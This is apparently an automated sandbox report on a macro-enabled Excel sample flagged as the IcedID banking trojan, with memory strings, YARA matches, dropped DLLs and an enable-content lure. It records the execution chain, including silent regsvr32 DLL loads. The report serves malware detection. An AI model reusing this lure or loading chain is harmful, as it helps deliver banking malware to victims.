Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: https://dc.ads.linkedin.com/collect/?pid=3038&fmt=gif
Source: regsvr32.exe, 00000003.00000003.2099287242.00000000034A7000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://devices.amazonaws.com?hp=tile&so-exp=below
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://dftu77xade0tc.cloudfront.net
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://dgen8gghn3u86.cloudfront.net
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://dk261l6wntthl.cloudfront.net
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://docs.aws.amazon.com
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://docs.aws.amazon.com/index.html?nc2=h_ql_doc
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://download.stormacq.com/aws/podcast/
Source: regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://dpm.demdex.net
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://dts.podtrac.com
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://f0.awsstatic.com
Source: regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://fls-na.amazon.com
Source: regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://fls-na.amazon.com/1/action-impressions/1/OE/aws-mktg/action/awsm_:comp_DeprecatedBrowser
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://fonts.gstatic.com;
Source: regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://googleads.g.doubleclick.net
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://i18n-string.us-west-2.prod.pricing.aws.a2z.com
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://img.youtube.com
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://marketingplatform.google.com
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://media.amazonwebservices.com
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://mktg-apac.s3-ap-southeast-1.amazonaws.com
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://p.adsymptotic.com
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://pages.awscloud.com
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: https://pages.awscloud.com/communication-preferences?trk=homepage
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://pages.awscloud.com/fico-case-study.html?hp=tile&story=fico
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://pages.awscloud.com/zillow-case-study?hp=tile&story=zllw
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://phd.aws.amazon.com/?nc2=h_m_sc
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://portal.aws.amazon.com/gp/aws/developer/registration/index.html?exp=default
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://portal.aws.amazon.com/gp/aws/developer/registration/index.html?exp=default&sc_icampaign=
Source: regsvr32.exe, 00000003.00000002.2102286256.000000000028E000.00000004.00000020.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: https://portal.aws.amazon.com/gp/aws/developer/registration/index.html?nc1=f_ct&src=default
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://portal.aws.amazon.com/gp/aws/developer/registration/index.html?nc2=h_ct&src=default
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://portal.aws.amazon.com/gp/aws/manageYourAccount?nc2=h_m_ma
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: https://press.aboutamazon.com/press-releases/aws
Source: regsvr32.exe, 00000003.00000003.2099459469.0000000003473000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://prod-us-west-2.csp-report.marketing.aws.dev/submit
Source: regsvr32.exe, 00000003.00000003.2099459469.0000000003473000.00000004.00000001.sdmp	String found in binary or memory: https://prod-us-west-2.csp-report.marketing.aws.dev/submitx-amz-id-1KMS316SBHFVYTK5WWZYQX-Content-Ty
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://prod-us-west-2.csp-report.marketing.aws.dev/submitx-amz-id-1MTCH1RFF83ZG4C6RP3ABX-Content-Ty
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://prod.log.shortbread.aws.dev
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://prod.tools.shortbread.aws.dev
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://s0.awsstatic.com
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://s0.awsstatic.com/en_US/nav/v3/panel-content/desktop/index.html
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://s0.awsstatic.com/en_US/nav/v3/panel-content/mobile/index.html
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://s3.amazonaws.com/aws-messaging-pricing-information/
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://s3.amazonaws.com/aws-quickstart/
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://s3.amazonaws.com/public-pricing-agc/
Source: regsvr32.exe, 00000003.00000003.2099401412.00000000002D4000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://spot-bid-advisor.s3.amazonaws.com
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://ssl-static.libsyn.com
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://static-cdn.jtvnw.net
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://static.doubleclick.net
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: https://twitter.com/awscloud
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://view-stage.us-west-2.prod.pricing.aws.a2z.com
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://view-staging.us-east-1.prod.plc1-prod.pricing.aws.a2z.com
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://website.spot.ec2.aws.a2z.com
Source: regsvr32.exe, 00000003.00000002.2102286256.000000000028E000.00000004.00000020.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: https://www.amazon.jobs/aws
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://www.buzzsprout.com;
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://www.gstatic.com;
Source: regsvr32.exe, 00000003.00000003.2099287242.00000000034A7000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://www.honeycode.aws/?&trk=el_a134p000003yC6YAAU&trkCampaign=pac-edm-2020-honeycode-hom
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://www.linkedin.com
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: https://www.twitch.tv/aws
Source: regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://www.youtube-nocookie.com;
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: https://www.youtube.com/user/AmazonWebServices/Cloud/
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://yt3.ggpht.com;

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49172
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown	Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49174 -> 443

E-Banking Fraud:

Yara detected IcedID

Show sources

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2102293424.000000000029D000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2118144160.00000000003D6000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2105528596.0000000003476000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: regsvr32.exe PID: 2360, type: MEMORY
Source: Yara match	File source: Process Memory Space: regsvr32.exe PID: 2212, type: MEMORY
Source: Yara match	File source: Process Memory Space: regsvr32.exe PID: 2536, type: MEMORY

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Document image extraction number: 0	Screenshot OCR: Enable editing button from the yellow bar above Once you have enabled editing, please click Enabl
Source: Document image extraction number: 0	Screenshot OCR: Enable Content button from the yellow bar above
Source: Document image extraction number: 1	Screenshot OCR: Enable editing button from the yellow bar above Once you have enabled editing, please click Enabl
Source: Document image extraction number: 1	Screenshot OCR: Enable Content button from the yellow bar above

Office process drops PE file

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\lsdfik[1].fml	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\XTOWN.dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\lsdfik[1].fml	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\XRAY.dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\XZIBIT.dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\lsdfik[1].fml	Jump to dropped file

Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00311678 NtQuerySystemInformation,	3_2_00311678
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_001B1678 NtQuerySystemInformation,	4_2_001B1678
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00171678 NtQuerySystemInformation,RtlAllocateHeap,	5_2_00171678

Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_00311810	3_2_00311810
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF8FB15D0	3_2_000007FEF8FB15D0
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF8FB41BF	3_2_000007FEF8FB41BF
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_001B1810	4_2_001B1810
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000007FEF8F915D0	4_2_000007FEF8F915D0
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000007FEF8F941BF	4_2_000007FEF8F941BF
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00171810	5_2_00171810

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\lsdfik[1].fml 2B56EFDD9D771BCE51087101AC109C30B81E29E583C0178D33B90AD0128D9BA8
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\lsdfik[1].fml 2B56EFDD9D771BCE51087101AC109C30B81E29E583C0178D33B90AD0128D9BA8
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\lsdfik[1].fml 2B56EFDD9D771BCE51087101AC109C30B81E29E583C0178D33B90AD0128D9BA8

Source: 3.2.regsvr32.exe.b0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_IcedID_GZIP_LDR_202104 date = 2021-04-12, author = Thomas Barabosch, Telekom Security, description = 2021 initial Bokbot / Icedid loader for fake GZIP payloads, reference = https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240
Source: 5.2.regsvr32.exe.110000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_IcedID_GZIP_LDR_202104 date = 2021-04-12, author = Thomas Barabosch, Telekom Security, description = 2021 initial Bokbot / Icedid loader for fake GZIP payloads, reference = https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240
Source: 3.2.regsvr32.exe.b0000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_IcedID_GZIP_LDR_202104 date = 2021-04-12, author = Thomas Barabosch, Telekom Security, description = 2021 initial Bokbot / Icedid loader for fake GZIP payloads, reference = https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240
Source: 5.2.regsvr32.exe.110000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_IcedID_GZIP_LDR_202104 date = 2021-04-12, author = Thomas Barabosch, Telekom Security, description = 2021 initial Bokbot / Icedid loader for fake GZIP payloads, reference = https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240
Source: 3.2.regsvr32.exe.310000.1.unpack, type: UNPACKEDPE	Matched rule: MAL_IcedID_GZIP_LDR_202104 date = 2021-04-12, author = Thomas Barabosch, Telekom Security, description = 2021 initial Bokbot / Icedid loader for fake GZIP payloads, reference = https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240
Source: 4.2.regsvr32.exe.190000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_IcedID_GZIP_LDR_202104 date = 2021-04-12, author = Thomas Barabosch, Telekom Security, description = 2021 initial Bokbot / Icedid loader for fake GZIP payloads, reference = https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240
Source: 4.2.regsvr32.exe.190000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_IcedID_GZIP_LDR_202104 date = 2021-04-12, author = Thomas Barabosch, Telekom Security, description = 2021 initial Bokbot / Icedid loader for fake GZIP payloads, reference = https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240
Source: 5.2.regsvr32.exe.170000.1.unpack, type: UNPACKEDPE	Matched rule: MAL_IcedID_GZIP_LDR_202104 date = 2021-04-12, author = Thomas Barabosch, Telekom Security, description = 2021 initial Bokbot / Icedid loader for fake GZIP payloads, reference = https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240
Source: 4.2.regsvr32.exe.1b0000.1.unpack, type: UNPACKEDPE	Matched rule: MAL_IcedID_GZIP_LDR_202104 date = 2021-04-12, author = Thomas Barabosch, Telekom Security, description = 2021 initial Bokbot / Icedid loader for fake GZIP payloads, reference = https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240
Source: 00000004.00000002.2109483742.0000000000190000.00000004.00000001.sdmp, type: MEMORY	Matched rule: MAL_IcedID_GZIP_LDR_202104 date = 2021-04-12, author = Thomas Barabosch, Telekom Security, description = 2021 initial Bokbot / Icedid loader for fake GZIP payloads, reference = https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240
Source: 00000005.00000002.2117870904.0000000000110000.00000004.00000001.sdmp, type: MEMORY	Matched rule: MAL_IcedID_GZIP_LDR_202104 date = 2021-04-12, author = Thomas Barabosch, Telekom Security, description = 2021 initial Bokbot / Icedid loader for fake GZIP payloads, reference = https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240
Source: 00000003.00000002.2102204572.00000000000B0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: MAL_IcedID_GZIP_LDR_202104 date = 2021-04-12, author = Thomas Barabosch, Telekom Security, description = 2021 initial Bokbot / Icedid loader for fake GZIP payloads, reference = https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240

Source: regsvr32.exe, 00000003.00000002.2103529559.0000000003080000.00000002.00000001.sdmp

Binary or memory string: .VBPud<_

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLSM@7/8@15/6

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$HRcontacts7752205.xlsm

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRDFF2.tmp

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -silent ..\XRAY.dll
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -silent ..\XTOWN.dll
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -silent ..\XZIBIT.dll
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -silent ..\XRAY.dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -silent ..\XTOWN.dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -silent ..\XZIBIT.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: HRcontacts7752205.xlsm	Initial sample: OLE zip file path = xl/worksheets/_rels/sheet2.xml.rels
Source: HRcontacts7752205.xlsm	Initial sample: OLE zip file path = xl/media/image1.png
Source: HRcontacts7752205.xlsm	Initial sample: OLE zip file path = xl/printerSettings/printerSettings2.bin
Source: HRcontacts7752205.xlsm	Initial sample: OLE zip file path = xl/calcChain.xml

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: XRAY.dll.0.dr	Static PE information: real checksum: 0x1baf8 should be: 0x19d85
Source: lsdfik[1].fml.0.dr	Static PE information: real checksum: 0x1baf8 should be: 0x19d85

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\regsvr32.exe regsvr32 -silent ..\XRAY.dll

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\lsdfik[1].fml	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\XTOWN.dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\lsdfik[1].fml	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\XRAY.dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\XZIBIT.dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\lsdfik[1].fml	Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\XTOWN.dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\XRAY.dll	Jump to dropped file
